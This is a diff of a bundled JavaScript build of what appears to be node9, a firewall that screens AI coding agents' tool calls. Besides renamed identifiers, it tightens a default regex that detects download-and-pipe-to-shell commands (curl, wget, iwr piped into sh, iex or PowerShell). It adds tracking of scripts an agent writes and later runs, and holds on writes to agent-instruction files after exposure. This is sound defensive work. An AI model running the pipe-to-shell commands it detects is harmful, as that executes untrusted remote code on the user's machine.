@@ -13202,9 +14101,9 @@ function prunePaths(root, paths) {
13202
14101
  const yi = y[y.length - 1];
13203
14102
  return typeof xi === "number" && typeof yi === "number" ? yi - xi : 0;
13204
14103
  });
13205
- for (const path26 of ordered) {
14104
+ for (const path27 of ordered) {
13206
14105
  let cur = root;
13207
- for (const key of path26.slice(0, -1)) {
14106
+ for (const key of path27.slice(0, -1)) {
13208
14107
  if (cur === null || typeof cur !== "object") {
13209
14108
  cur = void 0;
13210
14109
  break;
@@ -13212,7 +14111,7 @@ function prunePaths(root, paths) {
13212
14111
  cur = cur[key];
13213
14112
  }
13214
14113
  if (cur === null || typeof cur !== "object") continue;
13215
- const last = path26[path26.length - 1];
14114
+ const last = path27[path27.length - 1];
13216
14115
  if (Array.isArray(cur)) {
13217
14116
  const i = Number(last);
13218
14117
  if (Number.isInteger(i) && i >= 0 && i < cur.length) {
@@ -13248,7 +14147,7 @@ function sanitizeConfig(raw) {
13248
14147
  return issue.keys.map((k) => [...at, k]);
13249
14148
  }
13250
14149
  return [at.slice(0, -level || void 0)];
13251
- }).filter((path26) => path26.length > 0);
14150
+ }).filter((path27) => path27.length > 0);
13252
14151
  if (paths.length === 0 || !prunePaths(working, paths)) break;
13253
14152
  }
13254
14153
  if (ConfigFileSchema.safeParse(working).success) break;
@@ -13983,8 +14882,10 @@ var DEFAULT_CONFIG = {
13983
14882
  // Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
13984
14883
  // SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
13985
14884
  // either list gains a name this regex does not. The PowerShell sinks
13986
- // carry \b so `iex` cannot match inside e.g. `iexplore`.
13987
- value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
14885
+ // carry \b so `iex` cannot match inside e.g. `iexplore`, and so does
14886
+ // `sh`, so a quoted body containing `| Shipment` is not a shell
14887
+ // (fw#372 X3, node9Firewall#332).
14888
+ value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh\\b|(?:iex|invoke-expression|powershell|pwsh)\\b)",
13988
14889
  flags: "i"
13989
14890
  }
13990
14891
  ],
@@ -14647,13 +15548,13 @@ function getConfig(cwd) {
14647
15548
  }
14648
15549
  if (Array.isArray(mc.jailPaths)) {
14649
15550
  for (const jp of mc.jailPaths) {
14650
- const path26 = typeof jp?.path === "string" ? jp.path.trim() : "";
14651
- if (!path26) continue;
15551
+ const path27 = typeof jp?.path === "string" ? jp.path.trim() : "";
15552
+ if (!path27) continue;
14652
15553
  const verdict = jp?.verdict === "review" ? "review" : "block";
14653
- for (const r of pathRules(path26, verdict, "org-managed jail")) {
15554
+ for (const r of pathRules(path27, verdict, "org-managed jail")) {
14654
15555
  mergedPolicy.smartRules.push({ ...r, name: `org:${r.name}` });
14655
15556
  }
14656
- mergedPolicy.managedJailPaths.push({ path: path26, verdict });
15557
+ mergedPolicy.managedJailPaths.push({ path: path27, verdict });
14657
15558
  }
14658
15559
  }
14659
15560
  if (Array.isArray(mc.trustedHosts)) {
@@ -14963,8 +15864,8 @@ function scanFilePath(filePath, cwd = process.cwd(), options = {}) {
14963
15864
  if (!filePath) return null;
14964
15865
  let resolved;
14965
15866
  try {
14966
- const absolute = import_path5.default.resolve(cwd, filePath);
14967
- resolved = import_fs5.default.realpathSync.native(absolute);
15867
+ const absolute2 = import_path5.default.resolve(cwd, filePath);
15868
+ resolved = import_fs5.default.realpathSync.native(absolute2);
14968
15869
  } catch (err) {
14969
15870
  const code = err.code;
14970
15871
  if (code === "ENOENT" || code === "ENOTDIR") {
@@ -15774,6 +16675,38 @@ async function checkTaint(paths) {
15774
16675
  return { tainted: false, daemonUnavailable: true };
15775
16676
  }
15776
16677
  }
16678
+ async function notifyWritten(paths) {
16679
+ if (paths.length === 0 || !isDaemonRunning()) return;
16680
+ const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
16681
+ try {
16682
+ await fetch(`${base2}/written`, {
16683
+ method: "POST",
16684
+ headers: exposureHeaders(),
16685
+ body: JSON.stringify({ paths: paths.slice(0, 64) }),
16686
+ signal: AbortSignal.timeout(1e3)
16687
+ });
16688
+ } catch {
16689
+ }
16690
+ }
16691
+ async function checkWritten(paths) {
16692
+ if (paths.length === 0) return { written: [] };
16693
+ if (!isDaemonRunning()) return { written: [], daemonUnavailable: true };
16694
+ const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
16695
+ try {
16696
+ const res = await fetch(`${base2}/written/check`, {
16697
+ method: "POST",
16698
+ headers: exposureHeaders(),
16699
+ body: JSON.stringify({ paths: paths.slice(0, 64) }),
16700
+ signal: AbortSignal.timeout(2e3)
16701
+ });
16702
+ const body = await res.json();
16703
+ return {
16704
+ written: Array.isArray(body.written) ? body.written.filter((p) => typeof p === "string") : []
16705
+ };
16706
+ } catch {
16707
+ return { written: [], daemonUnavailable: true };
16708
+ }
16709
+ }
15777
16710
  async function checkSessionTaint(sessionId) {
15778
16711
  if (!sessionId || !isDaemonRunning()) return { tainted: false };
15779
16712
  const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
@@ -15841,7 +16774,7 @@ async function resolveViaDaemon(id, decision, internalToken, source, record) {
15841
16774
 
15842
16775
  // src/auth/orchestrator.ts
15843
16776
  var import_crypto10 = require("crypto");
15844
- var import_os18 = __toESM(require("os"));
16777
+ var import_os19 = __toESM(require("os"));
15845
16778
 
15846
16779
  // src/ui/native.ts
15847
16780
  var import_child_process = require("child_process");
@@ -16266,6 +17199,98 @@ function canaryValues() {
16266
17199
  return loadCanaries().map((r) => ({ id: r.id, value: r.value, retired: Boolean(r.retiredAt) }));
16267
17200
  }
16268
17201
 
17202
+ // src/auth/orchestrator.ts
17203
+ init_dist();
17204
+
17205
+ // src/auth/session-script.ts
17206
+ var import_fs13 = __toESM(require("fs"));
17207
+ var import_os11 = __toESM(require("os"));
17208
+ var import_path15 = __toESM(require("path"));
17209
+ init_dist();
17210
+ var MAX_SCRIPT_BYTES = 64 * 1024;
17211
+ var MAX_RECORDED_WRITES = 32;
17212
+ function readScriptFile(resolved) {
17213
+ let fd;
17214
+ try {
17215
+ fd = import_fs13.default.openSync(resolved, import_fs13.default.constants.O_RDONLY | (import_fs13.default.constants.O_NONBLOCK ?? 0));
17216
+ const st = import_fs13.default.fstatSync(fd);
17217
+ if (!st.isFile() || st.size > MAX_SCRIPT_BYTES) return null;
17218
+ const buf = Buffer.alloc(MAX_SCRIPT_BYTES + 1);
17219
+ let n = 0;
17220
+ while (n < buf.length) {
17221
+ const got = import_fs13.default.readSync(fd, buf, n, buf.length - n, n);
17222
+ if (got === 0) break;
17223
+ n += got;
17224
+ }
17225
+ if (n > MAX_SCRIPT_BYTES) return null;
17226
+ return buf.subarray(0, n).toString("utf8");
17227
+ } catch {
17228
+ return null;
17229
+ } finally {
17230
+ if (fd !== void 0) {
17231
+ try {
17232
+ import_fs13.default.closeSync(fd);
17233
+ } catch {
17234
+ }
17235
+ }
17236
+ }
17237
+ }
17238
+ function absolute(p, cwd, home) {
17239
+ const spelled = p === "~" || p.startsWith("~/") ? home + p.slice(1) : p;
17240
+ return import_path15.default.resolve(cwd, spelled);
17241
+ }
17242
+ async function resolveSessionScript(toolName, args, cwd, layers, deps, home = import_os11.default.homedir()) {
17243
+ try {
17244
+ const d = deps ?? { checkWritten, readScript: readScriptFile };
17245
+ const shell = resolveShellInput(toolName, args, layers);
17246
+ if (shell.kind !== "shell") return null;
17247
+ const operands2 = shellScriptOperands(shell.command);
17248
+ if (operands2.length === 0) return null;
17249
+ const base2 = cwd ?? process.cwd();
17250
+ const byResolved = /* @__PURE__ */ new Map();
17251
+ for (const op of operands2) byResolved.set(absolute(op, base2, home), op);
17252
+ const { written } = await d.checkWritten([...byResolved.keys()]);
17253
+ for (const resolved of written) {
17254
+ const spelled = byResolved.get(resolved);
17255
+ if (spelled === void 0) continue;
17256
+ const content = d.readScript(resolved);
17257
+ if (content === null || content.trim() === "") continue;
17258
+ const scriptArgs = { command: content };
17259
+ return {
17260
+ path: spelled,
17261
+ resolved,
17262
+ args: scriptArgs,
17263
+ fileAccess: prepareFileAccesses("Bash", scriptArgs, base2, layers, home)
17264
+ };
17265
+ }
17266
+ return null;
17267
+ } catch {
17268
+ return null;
17269
+ }
17270
+ }
17271
+ function sessionWriteTargets(toolName, args, fileAccess, cwd, home = import_os11.default.homedir()) {
17272
+ const base2 = cwd ?? process.cwd();
17273
+ const out = /* @__PURE__ */ new Set();
17274
+ const argsObj = args && typeof args === "object" ? args : {};
17275
+ const named = argsObj.file_path ?? argsObj.path ?? argsObj.filename;
17276
+ if (typeof named === "string" && named && /write|edit|create|save|append/i.test(toolName))
17277
+ out.add(absolute(named, base2, home));
17278
+ for (const a of fileAccess?.accesses ?? []) {
17279
+ if (a.operation !== "write" && a.operation !== "create") continue;
17280
+ if (a.glob || a.recursive) continue;
17281
+ out.add(absolute(a.path, a.cwd ?? base2, home));
17282
+ if (out.size >= MAX_RECORDED_WRITES) break;
17283
+ }
17284
+ return [...out];
17285
+ }
17286
+ async function recordSessionWrites(toolName, args, fileAccess, cwd) {
17287
+ try {
17288
+ const targets = sessionWriteTargets(toolName, args, fileAccess, cwd);
17289
+ if (targets.length) await notifyWritten(targets);
17290
+ } catch {
17291
+ }
17292
+ }
17293
+
16269
17294
  // src/auth/orchestrator.ts
16270
17295
  init_dist();
16271
17296
  init_dist();
@@ -16273,26 +17298,26 @@ init_audit();
16273
17298
  init_dist();
16274
17299
 
16275
17300
  // src/exposure/known-hosts.ts
16276
- var import_fs14 = __toESM(require("fs"));
16277
- var import_path16 = __toESM(require("path"));
17301
+ var import_fs15 = __toESM(require("fs"));
17302
+ var import_path17 = __toESM(require("path"));
16278
17303
 
16279
17304
  // src/utils/git-remotes.ts
16280
- var import_fs13 = __toESM(require("fs"));
16281
- var import_path15 = __toESM(require("path"));
17305
+ var import_fs14 = __toESM(require("fs"));
17306
+ var import_path16 = __toESM(require("path"));
16282
17307
  init_dist();
16283
17308
  function readSmallFile(p, max) {
16284
17309
  let fd;
16285
17310
  try {
16286
- fd = import_fs13.default.openSync(p, import_fs13.default.constants.O_RDONLY | (import_fs13.default.constants.O_NOFOLLOW ?? 0));
16287
- const st = import_fs13.default.fstatSync(fd);
17311
+ fd = import_fs14.default.openSync(p, import_fs14.default.constants.O_RDONLY | (import_fs14.default.constants.O_NOFOLLOW ?? 0));
17312
+ const st = import_fs14.default.fstatSync(fd);
16288
17313
  if (!st.isFile() || st.size > max) return null;
16289
17314
  const buf = Buffer.alloc(st.size);
16290
- const n = import_fs13.default.readSync(fd, buf, 0, st.size, 0);
17315
+ const n = import_fs14.default.readSync(fd, buf, 0, st.size, 0);
16291
17316
  return buf.subarray(0, n).toString("utf8");
16292
17317
  } catch {
16293
17318
  return null;
16294
17319
  } finally {
16295
- if (fd !== void 0) import_fs13.default.closeSync(fd);
17320
+ if (fd !== void 0) import_fs14.default.closeSync(fd);
16296
17321
  }
16297
17322
  }
16298
17323
  function gitRemoteHost(url) {
@@ -16311,20 +17336,20 @@ function gitRemoteHost(url) {
16311
17336
  return null;
16312
17337
  }
16313
17338
  function findGitConfig(dir2, walkUp = true) {
16314
- let cur = import_path15.default.resolve(dir2);
17339
+ let cur = import_path16.default.resolve(dir2);
16315
17340
  for (let i = 0; i < (walkUp ? 64 : 1); i++) {
16316
- const dotGit = import_path15.default.join(cur, ".git");
16317
- const direct = readSmallFile(import_path15.default.join(dotGit, "config"), 1e6);
17341
+ const dotGit = import_path16.default.join(cur, ".git");
17342
+ const direct = readSmallFile(import_path16.default.join(dotGit, "config"), 1e6);
16318
17343
  if (direct !== null) return direct;
16319
17344
  const pointer = readSmallFile(dotGit, 4096);
16320
17345
  const m = pointer && /^gitdir:\s*(.+?)\s*$/m.exec(pointer);
16321
17346
  if (m) {
16322
- let gitDir = import_path15.default.resolve(cur, m[1]);
16323
- const common = readSmallFile(import_path15.default.join(gitDir, "commondir"), 4096);
16324
- if (common !== null) gitDir = import_path15.default.resolve(gitDir, common.trim());
16325
- return readSmallFile(import_path15.default.join(gitDir, "config"), 1e6);
17347
+ let gitDir = import_path16.default.resolve(cur, m[1]);
17348
+ const common = readSmallFile(import_path16.default.join(gitDir, "commondir"), 4096);
17349
+ if (common !== null) gitDir = import_path16.default.resolve(gitDir, common.trim());
17350
+ return readSmallFile(import_path16.default.join(gitDir, "config"), 1e6);
16326
17351
  }
16327
- const parent = import_path15.default.dirname(cur);
17352
+ const parent = import_path16.default.dirname(cur);
16328
17353
  if (parent === cur) return null;
16329
17354
  cur = parent;
16330
17355
  }
@@ -16334,12 +17359,12 @@ var cache = /* @__PURE__ */ new Map();
16334
17359
  function readGitRemotes(dir2, opts = {}) {
16335
17360
  if (!dir2) return [];
16336
17361
  const walkUp = opts.walkUp !== false;
16337
- const key = `${walkUp ? "up" : "at"}:${import_path15.default.resolve(dir2)}`;
17362
+ const key = `${walkUp ? "up" : "at"}:${import_path16.default.resolve(dir2)}`;
16338
17363
  const hit = cache.get(key);
16339
17364
  if (hit) return hit;
16340
17365
  const out = [];
16341
17366
  try {
16342
- const cfg = findGitConfig(import_path15.default.resolve(dir2), walkUp);
17367
+ const cfg = findGitConfig(import_path16.default.resolve(dir2), walkUp);
16343
17368
  if (cfg !== null) {
16344
17369
  let current = null;
16345
17370
  for (const line of cfg.split(/\r?\n/)) {
@@ -16375,15 +17400,15 @@ var ECOSYSTEMS = [
16375
17400
  ];
16376
17401
  var cache2 = /* @__PURE__ */ new Map();
16377
17402
  function manifestRoot(dir2) {
16378
- let cur = import_path16.default.resolve(dir2);
17403
+ let cur = import_path17.default.resolve(dir2);
16379
17404
  for (let i = 0; i < 64; i++) {
16380
17405
  for (const [m] of ECOSYSTEMS) {
16381
17406
  try {
16382
- if (import_fs14.default.existsSync(import_path16.default.join(cur, m))) return cur;
17407
+ if (import_fs15.default.existsSync(import_path17.default.join(cur, m))) return cur;
16383
17408
  } catch {
16384
17409
  }
16385
17410
  }
16386
- const parent = import_path16.default.dirname(cur);
17411
+ const parent = import_path17.default.dirname(cur);
16387
17412
  if (parent === cur) return null;
16388
17413
  cur = parent;
16389
17414
  }
@@ -16392,7 +17417,7 @@ function manifestRoot(dir2) {
16392
17417
  function knownProjectHosts(dir2) {
16393
17418
  const empty = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
16394
17419
  if (!dir2) return empty;
16395
- const key = import_path16.default.resolve(dir2);
17420
+ const key = import_path17.default.resolve(dir2);
16396
17421
  const hit = cache2.get(key);
16397
17422
  if (hit) return hit;
16398
17423
  const out = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
@@ -16405,10 +17430,10 @@ function knownProjectHosts(dir2) {
16405
17430
  const root = manifestRoot(key);
16406
17431
  if (root !== null) {
16407
17432
  for (const [m, registry] of ECOSYSTEMS) {
16408
- if (import_fs14.default.existsSync(import_path16.default.join(root, m))) out.hosts.add(registry);
17433
+ if (import_fs15.default.existsSync(import_path17.default.join(root, m))) out.hosts.add(registry);
16409
17434
  }
16410
17435
  try {
16411
- if (import_fs14.default.readdirSync(root).some((f) => f.endsWith(".gemspec")))
17436
+ if (import_fs15.default.readdirSync(root).some((f) => f.endsWith(".gemspec")))
16412
17437
  out.hosts.add("host:rubygems.org");
16413
17438
  } catch {
16414
17439
  }
@@ -16420,9 +17445,9 @@ function knownProjectHosts(dir2) {
16420
17445
  }
16421
17446
 
16422
17447
  // src/exposure/writes.ts
16423
- var import_fs15 = __toESM(require("fs"));
16424
- var import_os11 = __toESM(require("os"));
16425
- var import_path17 = __toESM(require("path"));
17448
+ var import_fs16 = __toESM(require("fs"));
17449
+ var import_os12 = __toESM(require("os"));
17450
+ var import_path18 = __toESM(require("path"));
16426
17451
  init_dist();
16427
17452
  var WRITE_OPS = /* @__PURE__ */ new Set(["write", "create", "remove"]);
16428
17453
  var LIFECYCLE_RE = /"(scripts|preinstall|install|postinstall|prepare|prepublish|prepublishOnly|prepack|postpack|publish|postpublish)"\s*:/;
@@ -16452,7 +17477,7 @@ function packageScriptsTouched(args, absPath, shellCommand) {
16452
17477
  if (typeof a.content === "string") {
16453
17478
  try {
16454
17479
  const next = JSON.parse(a.content);
16455
- const prev = JSON.parse(import_fs15.default.readFileSync(absPath, "utf8"));
17480
+ const prev = JSON.parse(import_fs16.default.readFileSync(absPath, "utf8"));
16456
17481
  return JSON.stringify(next.scripts ?? null) !== JSON.stringify(prev.scripts ?? null);
16457
17482
  } catch {
16458
17483
  return LIFECYCLE_RE.test(a.content);
@@ -16462,8 +17487,8 @@ function packageScriptsTouched(args, absPath, shellCommand) {
16462
17487
  }
16463
17488
  function judgeWritesAfterExposure(opts) {
16464
17489
  const holds = [];
16465
- const home = opts.home ?? import_os11.default.homedir();
16466
- const tmp = normalizeFilePath(import_os11.default.tmpdir());
17490
+ const home = opts.home ?? import_os12.default.homedir();
17491
+ const tmp = normalizeFilePath(import_os12.default.tmpdir());
16467
17492
  const root = opts.cwd ? normalizeFilePath(opts.cwd, "", home) : null;
16468
17493
  const seen = /* @__PURE__ */ new Set();
16469
17494
  for (const access of opts.accesses) {
@@ -16473,7 +17498,7 @@ function judgeWritesAfterExposure(opts) {
16473
17498
  seen.add(p);
16474
17499
  if (p === "/dev" || p.startsWith("/dev/")) continue;
16475
17500
  if (root !== null && isInside(root, p)) {
16476
- if (isAgentInstructionPath(p, root) && (import_path17.default.basename(p) !== "package.json" || packageScriptsTouched(opts.args, p, opts.shellCommand)))
17501
+ if (isAgentInstructionPath(p, root) && (import_path18.default.basename(p) !== "package.json" || packageScriptsTouched(opts.args, p, opts.shellCommand)))
16477
17502
  holds.push({ path: p, why: "agent-instruction" });
16478
17503
  continue;
16479
17504
  }
@@ -16495,25 +17520,25 @@ function judgeWritesAfterExposure(opts) {
16495
17520
 
16496
17521
  // src/exposure/marker.ts
16497
17522
  var import_crypto8 = __toESM(require("crypto"));
16498
- var import_fs16 = __toESM(require("fs"));
16499
- var import_os12 = __toESM(require("os"));
16500
- var import_path18 = __toESM(require("path"));
17523
+ var import_fs17 = __toESM(require("fs"));
17524
+ var import_os13 = __toESM(require("os"));
17525
+ var import_path19 = __toESM(require("path"));
16501
17526
 
16502
17527
  // src/daemon/exposure-store.ts
16503
17528
  var SESSION_EXPOSURE_TTL_MS = 4 * 60 * 60 * 1e3;
16504
17529
 
16505
17530
  // src/exposure/marker.ts
16506
17531
  function dir() {
16507
- return import_path18.default.join(import_os12.default.homedir(), ".node9", "exposure-sessions");
17532
+ return import_path19.default.join(import_os13.default.homedir(), ".node9", "exposure-sessions");
16508
17533
  }
16509
17534
  function file(sessionId) {
16510
17535
  const id = import_crypto8.default.createHash("sha256").update(sessionId).digest("hex").slice(0, 32);
16511
- return import_path18.default.join(dir(), id);
17536
+ return import_path19.default.join(dir(), id);
16512
17537
  }
16513
17538
  function maybeSessionExposed(sessionId) {
16514
17539
  if (!sessionId) return false;
16515
17540
  try {
16516
- const st = import_fs16.default.statSync(file(sessionId));
17541
+ const st = import_fs17.default.statSync(file(sessionId));
16517
17542
  return Date.now() - st.mtimeMs < SESSION_EXPOSURE_TTL_MS;
16518
17543
  } catch (e) {
16519
17544
  return e.code !== "ENOENT";
@@ -16521,20 +17546,20 @@ function maybeSessionExposed(sessionId) {
16521
17546
  }
16522
17547
 
16523
17548
  // src/exposure/roles.ts
16524
- var import_fs18 = __toESM(require("fs"));
17549
+ var import_fs19 = __toESM(require("fs"));
16525
17550
 
16526
17551
  // src/daemon/mcp-tools.ts
16527
- var import_fs17 = __toESM(require("fs"));
16528
- var import_path19 = __toESM(require("path"));
16529
- var import_os13 = __toESM(require("os"));
17552
+ var import_fs18 = __toESM(require("fs"));
17553
+ var import_path20 = __toESM(require("path"));
17554
+ var import_os14 = __toESM(require("os"));
16530
17555
  function getMcpToolsFile() {
16531
- return import_path19.default.join(import_os13.default.homedir(), ".node9", "mcp-tools.json");
17556
+ return import_path20.default.join(import_os14.default.homedir(), ".node9", "mcp-tools.json");
16532
17557
  }
16533
17558
  function readMcpToolsConfig() {
16534
17559
  try {
16535
17560
  const file2 = getMcpToolsFile();
16536
- if (!import_fs17.default.existsSync(file2)) return {};
16537
- const raw = import_fs17.default.readFileSync(file2, "utf-8");
17561
+ if (!import_fs18.default.existsSync(file2)) return {};
17562
+ const raw = import_fs18.default.readFileSync(file2, "utf-8");
16538
17563
  return JSON.parse(raw);
16539
17564
  } catch {
16540
17565
  return {};
@@ -16551,7 +17576,7 @@ var inventoryCache = null;
16551
17576
  var inventoryStamp = null;
16552
17577
  function inventoryFileStamp() {
16553
17578
  try {
16554
- const st = import_fs18.default.statSync(getMcpToolsFile());
17579
+ const st = import_fs19.default.statSync(getMcpToolsFile());
16555
17580
  return `${st.mtimeMs}:${st.size}`;
16556
17581
  } catch {
16557
17582
  return "";
@@ -16635,16 +17660,16 @@ function sourceWord(toolName) {
16635
17660
  }
16636
17661
 
16637
17662
  // src/auth/trusted-recipients.ts
16638
- var import_fs19 = __toESM(require("fs"));
16639
- var import_path20 = __toESM(require("path"));
16640
- var import_os14 = __toESM(require("os"));
17663
+ var import_fs20 = __toESM(require("fs"));
17664
+ var import_path21 = __toESM(require("path"));
17665
+ var import_os15 = __toESM(require("os"));
16641
17666
  init_dist();
16642
17667
  function getTrustedRecipientsPath() {
16643
- return import_path20.default.join(import_os14.default.homedir(), ".node9", "trusted-recipients.json");
17668
+ return import_path21.default.join(import_os15.default.homedir(), ".node9", "trusted-recipients.json");
16644
17669
  }
16645
17670
  function readTrustedRecipients() {
16646
17671
  try {
16647
- const raw = import_fs19.default.readFileSync(getTrustedRecipientsPath(), "utf8");
17672
+ const raw = import_fs20.default.readFileSync(getTrustedRecipientsPath(), "utf8");
16648
17673
  const parsed = JSON.parse(raw);
16649
17674
  return Array.isArray(parsed.entries) ? parsed.entries.filter((e) => e && typeof e.value === "string") : [];
16650
17675
  } catch {
@@ -16653,10 +17678,10 @@ function readTrustedRecipients() {
16653
17678
  }
16654
17679
  function writeTrustedRecipients(entries) {
16655
17680
  const filePath = getTrustedRecipientsPath();
16656
- import_fs19.default.mkdirSync(import_path20.default.dirname(filePath), { recursive: true });
17681
+ import_fs20.default.mkdirSync(import_path21.default.dirname(filePath), { recursive: true });
16657
17682
  const tmp = filePath + ".node9-tmp";
16658
- import_fs19.default.writeFileSync(tmp, JSON.stringify({ entries }, null, 2), { mode: 384 });
16659
- import_fs19.default.renameSync(tmp, filePath);
17683
+ import_fs20.default.writeFileSync(tmp, JSON.stringify({ entries }, null, 2), { mode: 384 });
17684
+ import_fs20.default.renameSync(tmp, filePath);
16660
17685
  }
16661
17686
  function addTrustedRecipient(raw, addedBy = "user") {
16662
17687
  const value = normalizeRecipient(raw);
@@ -16671,7 +17696,7 @@ function addTrustedRecipient(raw, addedBy = "user") {
16671
17696
  var cache3 = null;
16672
17697
  function mtimeOf() {
16673
17698
  try {
16674
- return import_fs19.default.statSync(getTrustedRecipientsPath()).mtimeMs;
17699
+ return import_fs20.default.statSync(getTrustedRecipientsPath()).mtimeMs;
16675
17700
  } catch {
16676
17701
  return 0;
16677
17702
  }
@@ -16685,29 +17710,29 @@ function isTrustedRecipient(value) {
16685
17710
  }
16686
17711
 
16687
17712
  // src/auth/cloud.ts
16688
- var import_fs21 = __toESM(require("fs"));
16689
- var import_os15 = __toESM(require("os"));
16690
- var import_path21 = __toESM(require("path"));
17713
+ var import_fs22 = __toESM(require("fs"));
17714
+ var import_os16 = __toESM(require("os"));
17715
+ var import_path22 = __toESM(require("path"));
16691
17716
  init_audit();
16692
17717
 
16693
17718
  // src/utils/read-capped.ts
16694
- var import_fs20 = __toESM(require("fs"));
17719
+ var import_fs21 = __toESM(require("fs"));
16695
17720
  function readCapped(file2, maxBytes) {
16696
17721
  if (maxBytes < 0) return null;
16697
17722
  let fd;
16698
17723
  try {
16699
- fd = import_fs20.default.openSync(file2, "r");
17724
+ fd = import_fs21.default.openSync(file2, "r");
16700
17725
  } catch {
16701
17726
  return null;
16702
17727
  }
16703
17728
  try {
16704
- const st = import_fs20.default.fstatSync(fd);
17729
+ const st = import_fs21.default.fstatSync(fd);
16705
17730
  if (!st.isFile()) return null;
16706
17731
  const want = Math.min(st.size, maxBytes + 1);
16707
17732
  const buf = Buffer.alloc(want);
16708
17733
  let read = 0;
16709
17734
  while (read < want) {
16710
- const n = import_fs20.default.readSync(fd, buf, read, want - read, read);
17735
+ const n = import_fs21.default.readSync(fd, buf, read, want - read, read);
16711
17736
  if (n <= 0) break;
16712
17737
  read += n;
16713
17738
  }
@@ -16719,7 +17744,7 @@ function readCapped(file2, maxBytes) {
16719
17744
  return null;
16720
17745
  } finally {
16721
17746
  try {
16722
- import_fs20.default.closeSync(fd);
17747
+ import_fs21.default.closeSync(fd);
16723
17748
  } catch {
16724
17749
  }
16725
17750
  }
@@ -16764,7 +17789,7 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
16764
17789
  let ciContext;
16765
17790
  if (process.env.CI) {
16766
17791
  try {
16767
- const ciContextPath = import_path21.default.join(import_os15.default.homedir(), ".node9", "ci-context.json");
17792
+ const ciContextPath = import_path22.default.join(import_os16.default.homedir(), ".node9", "ci-context.json");
16768
17793
  const ci = readCappedText(ciContextPath, 1e4);
16769
17794
  if (!ci) throw new Error("ci-context.json unreadable");
16770
17795
  if (ci.truncated) throw new Error("ci-context.json exceeds 10 KB");
@@ -16806,9 +17831,9 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
16806
17831
  context: {
16807
17832
  agent: meta?.agent,
16808
17833
  mcpServer: meta?.mcpServer,
16809
- hostname: import_os15.default.hostname(),
17834
+ hostname: import_os16.default.hostname(),
16810
17835
  cwd: process.cwd(),
16811
- platform: import_os15.default.platform()
17836
+ platform: import_os16.default.platform()
16812
17837
  },
16813
17838
  // The SaaS validates riskMetadata strictly and would drop it whole on
16814
17839
  // an unknown key, so only fields its schema declares go on the wire.
@@ -16882,14 +17907,14 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
16882
17907
  });
16883
17908
  clearTimeout(timer);
16884
17909
  if (!res.ok) {
16885
- import_fs21.default.appendFileSync(
17910
+ import_fs22.default.appendFileSync(
16886
17911
  HOOK_DEBUG_LOG,
16887
17912
  `[resolve-cloud] PATCH ${safeMessage(resolveUrl, 200)} \u2192 HTTP ${res.status}
16888
17913
  `
16889
17914
  );
16890
17915
  }
16891
17916
  } catch (err) {
16892
- import_fs21.default.appendFileSync(
17917
+ import_fs22.default.appendFileSync(
16893
17918
  HOOK_DEBUG_LOG,
16894
17919
  `[resolve-cloud] PATCH failed for ${safeMessage(requestId, 64)}: ${safeMessage(err)}
16895
17920
  `
@@ -16898,18 +17923,18 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
16898
17923
  }
16899
17924
 
16900
17925
  // src/loop-detector.ts
16901
- var import_fs22 = __toESM(require("fs"));
16902
- var import_path22 = __toESM(require("path"));
16903
- var import_os16 = __toESM(require("os"));
17926
+ var import_fs23 = __toESM(require("fs"));
17927
+ var import_path23 = __toESM(require("path"));
17928
+ var import_os17 = __toESM(require("os"));
16904
17929
  init_dist();
16905
17930
  init_dist();
16906
17931
  function loopStateFile() {
16907
- return import_path22.default.join(import_os16.default.homedir(), ".node9", "loop-state.json");
17932
+ return import_path23.default.join(import_os17.default.homedir(), ".node9", "loop-state.json");
16908
17933
  }
16909
17934
  function readState() {
16910
17935
  try {
16911
- if (!import_fs22.default.existsSync(loopStateFile())) return [];
16912
- const raw = import_fs22.default.readFileSync(loopStateFile(), "utf-8");
17936
+ if (!import_fs23.default.existsSync(loopStateFile())) return [];
17937
+ const raw = import_fs23.default.readFileSync(loopStateFile(), "utf-8");
16913
17938
  const parsed = JSON.parse(raw);
16914
17939
  if (!Array.isArray(parsed)) return [];
16915
17940
  return parsed;
@@ -16918,11 +17943,11 @@ function readState() {
16918
17943
  }
16919
17944
  }
16920
17945
  function writeState(records) {
16921
- const dir2 = import_path22.default.dirname(loopStateFile());
16922
- if (!import_fs22.default.existsSync(dir2)) import_fs22.default.mkdirSync(dir2, { recursive: true });
16923
- const tmpPath = `${loopStateFile()}.${import_os16.default.hostname()}.${process.pid}.tmp`;
16924
- import_fs22.default.writeFileSync(tmpPath, JSON.stringify(records));
16925
- import_fs22.default.renameSync(tmpPath, loopStateFile());
17946
+ const dir2 = import_path23.default.dirname(loopStateFile());
17947
+ if (!import_fs23.default.existsSync(dir2)) import_fs23.default.mkdirSync(dir2, { recursive: true });
17948
+ const tmpPath = `${loopStateFile()}.${import_os17.default.hostname()}.${process.pid}.tmp`;
17949
+ import_fs23.default.writeFileSync(tmpPath, JSON.stringify(records));
17950
+ import_fs23.default.renameSync(tmpPath, loopStateFile());
16926
17951
  }
16927
17952
  function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
16928
17953
  try {
@@ -16936,21 +17961,21 @@ function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
16936
17961
 
16937
17962
  // src/supply-chain/check.ts
16938
17963
  var import_picomatch3 = __toESM(require("picomatch"));
16939
- var import_path25 = __toESM(require("path"));
17964
+ var import_path26 = __toESM(require("path"));
16940
17965
  init_dist();
16941
17966
 
16942
17967
  // src/supply-chain/osv-index.ts
16943
